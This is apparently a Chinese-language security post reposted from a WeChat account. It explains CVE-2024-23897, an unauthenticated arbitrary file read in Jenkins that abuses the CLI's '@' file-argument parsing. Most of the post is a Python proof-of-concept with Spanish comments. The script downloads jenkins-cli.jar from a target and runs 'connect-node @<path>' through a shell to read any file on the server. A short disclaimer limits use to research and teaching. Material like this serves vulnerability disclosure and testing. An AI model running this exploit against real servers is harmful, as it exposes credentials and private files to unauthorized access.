CVE-2024-23897是一个涉及Jenkins未授权文件读取的漏洞。它利用了Jenkins命令行接口(CLI)的特性,其中CLI使用args4j库解析命令行参数。args4j库具有一个特点,即当命令行参数以@字符开头时,该参数会被视为文件路径,并将该文件内容读取作为参数。利用这一特性,攻击者可以通过Jenkins CLI读取Jenkins服务器上的任意文件。
poc&exp
import argparse import requests import os import subprocess import sys def download_jenkins_cli(ip, puerto): url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar" try: response = requests.get(url) if response.status_code == 200: with open('jenkins-cli.jar', 'wb') as archivo_jar: archivo_jar.write(response.content) return True else: print(f"No se pudo descargar el archivo. Código de estado: {response.status_code}") return False except requests.RequestException as errorhttp: print(f"Error al realizar la solicitud: {errorhttp}") return False def connect_node(ip, puerto, ruta): archivo_jar = "jenkins-cli.jar" payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}" try: subprocess.run(payload, shell=True, check=True) os.remove(archivo_jar) except subprocess.CalledProcessError as error_payload: print(f"Error al intentar conectar el nodo: {error_payload}") def main(): parser = argparse.ArgumentParser(description="Script para explotar el CVE-2024-23897 en Jenkins") parser.add_argument("ip", type=str, help="Dirección IP del servidor Jenkins") parser.add_argument("puerto", type=str, help="Puerto del servidor Jenkins") parser.add_argument("ruta", type=str, help="Ruta para leer el archivo") args = parser.parse_args() ip = args.ip puerto = args.puerto ruta = args.ruta if download_jenkins_cli(ip, puerto): connect_node(ip, puerto, ruta) else: sys.exit(1) main()
原文始发于微信公众号(漏洞猎人):CVE-2024-23897 | Jenkins未授权文件读取
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论